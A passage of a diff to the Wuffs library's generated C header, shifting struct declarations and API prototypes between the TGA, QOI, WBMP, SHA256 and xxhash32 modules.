const wuffs_qoi__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -11850,7 +12908,7 @@ wuffs_tga__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_tga__decoder__struct { ++struct wuffs_qoi__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -11864,69 +12922,58 @@ struct wuffs_tga__decoder__struct { + wuffs_base__vtable vtable_for__wuffs_base__image_decoder; + wuffs_base__vtable null_vtable; + ++ uint32_t f_pixfmt; + uint32_t f_width; + uint32_t f_height; ++ uint64_t f_remaining_pixels_times_4; + uint8_t f_call_sequence; +- uint8_t f_header_id_length; +- uint8_t f_header_color_map_type; +- uint8_t f_header_image_type; +- uint16_t f_header_color_map_first_entry_index; +- uint16_t f_header_color_map_length; +- uint8_t f_header_color_map_entry_size; +- uint8_t f_header_pixel_depth; +- uint8_t f_header_image_descriptor; +- bool f_opaque; +- uint32_t f_scratch_bytes_per_pixel; +- uint32_t f_src_bytes_per_pixel; +- uint32_t f_src_pixfmt; +- uint64_t f_frame_config_io_position; ++ uint32_t f_buffer_index; ++ uint32_t f_dst_x; ++ uint32_t f_dst_y; + wuffs_base__pixel_swizzler f_swizzler; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_from_src_to_buffer; + } private_impl; + + struct { +- uint8_t f_dst_palette[1024]; +- uint8_t f_src_palette[1024]; +- uint8_t f_scratch[4]; ++ uint8_t f_pixel[4]; ++ uint8_t f_cache[256]; ++ uint8_t f_buffer[8196]; + + struct { +- uint32_t v_i; + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { +- uint64_t v_dst_bytes_per_pixel; +- uint32_t v_dst_x; +- uint32_t v_dst_y; +- uint64_t v_mark; +- uint32_t v_num_pixels32; +- uint32_t v_lit_length; +- uint32_t v_run_length; +- uint64_t v_num_dst_bytes; + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; ++ struct { ++ uint8_t v_dg; ++ uint32_t v_bi; ++ uint32_t v_bk; ++ } s_from_src_to_buffer; + } private_data; + + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_tga__decoder__alloc()); ++ return unique_ptr(wuffs_qoi__decoder__alloc()); + } + + static inline wuffs_base__image_decoder::unique_ptr + alloc_as__wuffs_base__image_decoder() { + return wuffs_base__image_decoder::unique_ptr( +- wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder()); ++ wuffs_qoi__decoder__alloc_as__wuffs_base__image_decoder()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -11942,10 +12989,10 @@ struct wuffs_tga__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_tga__decoder__struct() = delete; +- wuffs_tga__decoder__struct(const wuffs_tga__decoder__struct&) = delete; +- wuffs_tga__decoder__struct& operator=( +- const wuffs_tga__decoder__struct&) = delete; ++ wuffs_qoi__decoder__struct() = delete; ++ wuffs_qoi__decoder__struct(const wuffs_qoi__decoder__struct&) = delete; ++ wuffs_qoi__decoder__struct& operator=( ++ const wuffs_qoi__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -11965,7 +13012,7 @@ struct wuffs_tga__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_tga__decoder__initialize( ++ return wuffs_qoi__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +@@ -11977,28 +13024,28 @@ struct wuffs_tga__decoder__struct { + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_tga__decoder__get_quirk(this, a_key); ++ return wuffs_qoi__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_tga__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_qoi__decoder__set_quirk(this, a_key, a_value); + } + + inline wuffs_base__status + decode_image_config( + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_tga__decoder__decode_image_config(this, a_dst, a_src); ++ return wuffs_qoi__decoder__decode_image_config(this, a_dst, a_src); + } + + inline wuffs_base__status + decode_frame_config( + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_tga__decoder__decode_frame_config(this, a_dst, a_src); ++ return wuffs_qoi__decoder__decode_frame_config(this, a_dst, a_src); + } + + inline wuffs_base__status +@@ -12008,41 +13055,41 @@ struct wuffs_tga__decoder__struct { + wuffs_base__pixel_blend a_blend, + wuffs_base__slice_u8 a_workbuf, + wuffs_base__decode_frame_options* a_opts) { +- return wuffs_tga__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ return wuffs_qoi__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); + } + + inline wuffs_base__rect_ie_u32 + frame_dirty_rect() const { +- return wuffs_tga__decoder__frame_dirty_rect(this); ++ return wuffs_qoi__decoder__frame_dirty_rect(this); + } + + inline uint32_t + num_animation_loops() const { +- return wuffs_tga__decoder__num_animation_loops(this); ++ return wuffs_qoi__decoder__num_animation_loops(this); + } + + inline uint64_t + num_decoded_frame_configs() const { +- return wuffs_tga__decoder__num_decoded_frame_configs(this); ++ return wuffs_qoi__decoder__num_decoded_frame_configs(this); + } + + inline uint64_t + num_decoded_frames() const { +- return wuffs_tga__decoder__num_decoded_frames(this); ++ return wuffs_qoi__decoder__num_decoded_frames(this); + } + + inline wuffs_base__status + restart_frame( + uint64_t a_index, + uint64_t a_io_position) { +- return wuffs_tga__decoder__restart_frame(this, a_index, a_io_position); ++ return wuffs_qoi__decoder__restart_frame(this, a_index, a_io_position); + } + + inline wuffs_base__empty_struct + set_report_metadata( + uint32_t a_fourcc, + bool a_report) { +- return wuffs_tga__decoder__set_report_metadata(this, a_fourcc, a_report); ++ return wuffs_qoi__decoder__set_report_metadata(this, a_fourcc, a_report); + } + + inline wuffs_base__status +@@ -12050,42 +13097,30 @@ struct wuffs_tga__decoder__struct { + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src) { +- return wuffs_tga__decoder__tell_me_more(this, a_dst, a_minfo, a_src); +- } +- +- inline uint64_t +- history_retain_length() const { +- return wuffs_tga__decoder__history_retain_length(this); ++ return wuffs_qoi__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + + inline wuffs_base__range_ii_u64 + workbuf_len() const { +- return wuffs_tga__decoder__workbuf_len(this); ++ return wuffs_qoi__decoder__workbuf_len(this); + } + + #endif // __cplusplus +-}; // struct wuffs_tga__decoder__struct ++}; // struct wuffs_qoi__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_wbmp__error__bad_header[]; +-extern const char wuffs_wbmp__error__truncated_input[]; +- + // ---------------- Public Consts + +-#define WUFFS_WBMP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_WBMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 +- + // ---------------- Struct Declarations + +-typedef struct wuffs_wbmp__decoder__struct wuffs_wbmp__decoder; ++typedef struct wuffs_sha256__hasher__struct wuffs_sha256__hasher; + + #ifdef __cplusplus + extern "C" { +@@ -12100,14 +13135,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_wbmp__decoder__initialize( +- wuffs_wbmp__decoder* self, ++wuffs_sha256__hasher__initialize( ++ wuffs_sha256__hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_wbmp__decoder(void); ++sizeof__wuffs_sha256__hasher(void); + + // ---------------- Allocs + +@@ -12117,112 +13152,53 @@ sizeof__wuffs_wbmp__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_wbmp__decoder* +-wuffs_wbmp__decoder__alloc(void); ++wuffs_sha256__hasher* ++wuffs_sha256__hasher__alloc(void); + +-static inline wuffs_base__image_decoder* +-wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_wbmp__decoder__alloc()); ++static inline wuffs_base__hasher_bitvec256* ++wuffs_sha256__hasher__alloc_as__wuffs_base__hasher_bitvec256(void) { ++ return (wuffs_base__hasher_bitvec256*)(wuffs_sha256__hasher__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__image_decoder* +-wuffs_wbmp__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_wbmp__decoder* p) { +- return (wuffs_base__image_decoder*)p; ++static inline wuffs_base__hasher_bitvec256* ++wuffs_sha256__hasher__upcast_as__wuffs_base__hasher_bitvec256( ++ wuffs_sha256__hasher* p) { ++ return (wuffs_base__hasher_bitvec256*)p; + } + + // ---------------- Public Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__get_quirk( +- const wuffs_wbmp__decoder* self, ++wuffs_sha256__hasher__get_quirk( ++ const wuffs_sha256__hasher* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__set_quirk( +- wuffs_wbmp__decoder* self, ++wuffs_sha256__hasher__set_quirk( ++ wuffs_sha256__hasher* self, + uint32_t a_key, + uint64_t a_value); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_wbmp__decoder__frame_dirty_rect( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_wbmp__decoder__num_animation_loops( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frame_configs( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frames( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__restart_frame( +- wuffs_wbmp__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_wbmp__decoder__set_report_metadata( +- wuffs_wbmp__decoder* self, +- uint32_t a_fourcc, +- bool a_report); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__tell_me_more( +- wuffs_wbmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); ++wuffs_sha256__hasher__update( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__history_retain_length( +- const wuffs_wbmp__decoder* self); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__update_bitvec256( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_wbmp__decoder__workbuf_len( +- const wuffs_wbmp__decoder* self); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__checksum_bitvec256( ++ const wuffs_sha256__hasher* self); + + #ifdef __cplusplus + } // extern "C" +@@ -12237,7 +13213,7 @@ wuffs_wbmp__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_wbmp__decoder__struct { ++struct wuffs_sha256__hasher__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -12248,52 +13224,41 @@ struct wuffs_wbmp__decoder__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_bitvec256; + wuffs_base__vtable null_vtable; + +- uint32_t f_width; +- uint32_t f_height; +- uint8_t f_call_sequence; +- uint64_t f_frame_config_io_position; +- wuffs_base__pixel_swizzler f_swizzler; +- +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint64_t f_length_modulo_u64; ++ bool f_length_overflows_u64; ++ uint8_t f_padding0; ++ uint8_t f_padding1; ++ uint8_t f_padding2; ++ uint32_t f_buf_len; ++ uint8_t f_buf_data[64]; ++ uint32_t f_h0; ++ uint32_t f_h1; ++ uint32_t f_h2; ++ uint32_t f_h3; ++ uint32_t f_h4; ++ uint32_t f_h5; ++ uint32_t f_h6; ++ uint32_t f_h7; + } private_impl; + +- struct { +- struct { +- uint32_t v_i; +- uint32_t v_p; +- } s_do_decode_image_config[1]; +- struct { +- uint64_t v_dst_bytes_per_pixel; +- uint32_t v_dst_x; +- uint32_t v_dst_y; +- uint8_t v_src[1]; +- uint8_t v_c; +- } s_do_decode_frame[1]; +- } private_data; +- + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_wbmp__decoder__alloc()); ++ return unique_ptr(wuffs_sha256__hasher__alloc()); + } + +- static inline wuffs_base__image_decoder::unique_ptr +- alloc_as__wuffs_base__image_decoder() { +- return wuffs_base__image_decoder::unique_ptr( +- wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder()); ++ static inline wuffs_base__hasher_bitvec256::unique_ptr ++ alloc_as__wuffs_base__hasher_bitvec256() { ++ return wuffs_base__hasher_bitvec256::unique_ptr( ++ wuffs_sha256__hasher__alloc_as__wuffs_base__hasher_bitvec256()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -12309,10 +13274,10 @@ struct wuffs_wbmp__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_wbmp__decoder__struct() = delete; +- wuffs_wbmp__decoder__struct(const wuffs_wbmp__decoder__struct&) = delete; +- wuffs_wbmp__decoder__struct& operator=( +- const wuffs_wbmp__decoder__struct&) = delete; ++ wuffs_sha256__hasher__struct() = delete; ++ wuffs_sha256__hasher__struct(const wuffs_sha256__hasher__struct&) = delete; ++ wuffs_sha256__hasher__struct& operator=( ++ const wuffs_sha256__hasher__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -12332,120 +13297,68 @@ struct wuffs_wbmp__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_wbmp__decoder__initialize( ++ return wuffs_sha256__hasher__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__image_decoder* +- upcast_as__wuffs_base__image_decoder() { +- return (wuffs_base__image_decoder*)this; ++ inline wuffs_base__hasher_bitvec256* ++ upcast_as__wuffs_base__hasher_bitvec256() { ++ return (wuffs_base__hasher_bitvec256*)this; + } + + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_wbmp__decoder__get_quirk(this, a_key); ++ return wuffs_sha256__hasher__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_wbmp__decoder__set_quirk(this, a_key, a_value); +- } +- +- inline wuffs_base__status +- decode_image_config( +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_wbmp__decoder__decode_image_config(this, a_dst, a_src); +- } +- +- inline wuffs_base__status +- decode_frame_config( +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_wbmp__decoder__decode_frame_config(this, a_dst, a_src); +- } +- +- inline wuffs_base__status +- decode_frame( +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- return wuffs_wbmp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); +- } +- +- inline wuffs_base__rect_ie_u32 +- frame_dirty_rect() const { +- return wuffs_wbmp__decoder__frame_dirty_rect(this); +- } +- +- inline uint32_t +- num_animation_loops() const { +- return wuffs_wbmp__decoder__num_animation_loops(this); +- } +- +- inline uint64_t +- num_decoded_frame_configs() const { +- return wuffs_wbmp__decoder__num_decoded_frame_configs(this); +- } +- +- inline uint64_t +- num_decoded_frames() const { +- return wuffs_wbmp__decoder__num_decoded_frames(this); +- } +- +- inline wuffs_base__status +- restart_frame( +- uint64_t a_index, +- uint64_t a_io_position) { +- return wuffs_wbmp__decoder__restart_frame(this, a_index, a_io_position); ++ return wuffs_sha256__hasher__set_quirk(this, a_key, a_value); + } + + inline wuffs_base__empty_struct +- set_report_metadata( +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_wbmp__decoder__set_report_metadata(this, a_fourcc, a_report); +- } +- +- inline wuffs_base__status +- tell_me_more( +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- return wuffs_wbmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_sha256__hasher__update(this, a_x); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_wbmp__decoder__history_retain_length(this); ++ inline wuffs_base__bitvec256 ++ update_bitvec256( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_sha256__hasher__update_bitvec256(this, a_x); + } + +- inline wuffs_base__range_ii_u64 +- workbuf_len() const { +- return wuffs_wbmp__decoder__workbuf_len(this); ++ inline wuffs_base__bitvec256 ++ checksum_bitvec256() const { ++ return wuffs_sha256__hasher__checksum_bitvec256(this); + } + + #endif // __cplusplus +-}; // struct wuffs_wbmp__decoder__struct ++}; // struct wuffs_sha256__hasher__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + ++extern const char wuffs_tga__error__bad_header[]; ++extern const char wuffs_tga__error__bad_run_length_encoding[]; ++extern const char wuffs_tga__error__truncated_input[]; ++extern const char wuffs_tga__error__unsupported_tga_file[]; ++ + // ---------------- Public Consts + ++#define WUFFS_TGA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u ++ + // ---------------- Struct Declarations + +-typedef struct wuffs_xxhash32__hasher__struct wuffs_xxhash32__hasher; ++typedef struct wuffs_tga__decoder__struct wuffs_tga__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -12460,14 +13373,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash32__hasher__initialize( +- wuffs_xxhash32__hasher* self, ++wuffs_tga__decoder__initialize( ++ wuffs_tga__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_xxhash32__hasher(void); ++sizeof__wuffs_tga__decoder(void); + + // ---------------- Allocs + +@@ -12477,53 +13390,107 @@ sizeof__wuffs_xxhash32__hasher(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_xxhash32__hasher* +-wuffs_xxhash32__hasher__alloc(void); ++wuffs_tga__decoder* ++wuffs_tga__decoder__alloc(void); + +-static inline wuffs_base__hasher_u32* +-wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32(void) { +- return (wuffs_base__hasher_u32*)(wuffs_xxhash32__hasher__alloc()); ++static inline wuffs_base__image_decoder* ++wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_tga__decoder__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__hasher_u32* +-wuffs_xxhash32__hasher__upcast_as__wuffs_base__hasher_u32( +- wuffs_xxhash32__hasher* p) { +- return (wuffs_base__hasher_u32*)p; ++static inline wuffs_base__image_decoder* ++wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_tga__decoder* p) { ++ return (wuffs_base__image_decoder*)p; + } + + // ---------------- Public Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash32__hasher__get_quirk( +- const wuffs_xxhash32__hasher* self, ++wuffs_tga__decoder__get_quirk( ++ const wuffs_tga__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash32__hasher__set_quirk( +- wuffs_xxhash32__hasher* self, ++wuffs_tga__decoder__set_quirk( ++ wuffs_tga__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash32__hasher__update( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__update_u32( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_tga__decoder__frame_dirty_rect( ++ const wuffs_tga__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__checksum_u32( +- const wuffs_xxhash32__hasher* self); ++wuffs_tga__decoder__num_animation_loops( ++ const wuffs_tga__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frame_configs( ++ const wuffs_tga__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frames( ++ const wuffs_tga__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__restart_frame( ++ wuffs_tga__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_tga__decoder__set_report_metadata( ++ wuffs_tga__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__tell_me_more( ++ wuffs_tga__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_tga__decoder__workbuf_len( ++ const wuffs_tga__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -12538,7 +13505,7 @@ wuffs_xxhash32__hasher__checksum_u32( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_xxhash32__hasher__struct { ++struct wuffs_tga__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -12549,36 +13516,72 @@ struct wuffs_xxhash32__hasher__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__hasher_u32; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; + wuffs_base__vtable null_vtable; + +- uint32_t f_length_modulo_u32; +- bool f_length_overflows_u32; +- uint8_t f_padding0; +- uint8_t f_padding1; +- uint8_t f_buf_len; +- uint8_t f_buf_data[16]; +- uint32_t f_v0; +- uint32_t f_v1; +- uint32_t f_v2; +- uint32_t f_v3; ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint8_t f_header_id_length; ++ uint8_t f_header_color_map_type; ++ uint8_t f_header_image_type; ++ uint16_t f_header_color_map_first_entry_index; ++ uint16_t f_header_color_map_length; ++ uint8_t f_header_color_map_entry_size; ++ uint8_t f_header_pixel_depth; ++ uint8_t f_header_image_descriptor; ++ bool f_opaque; ++ uint32_t f_scratch_bytes_per_pixel; ++ uint32_t f_src_bytes_per_pixel; ++ uint32_t f_src_pixfmt; ++ uint64_t 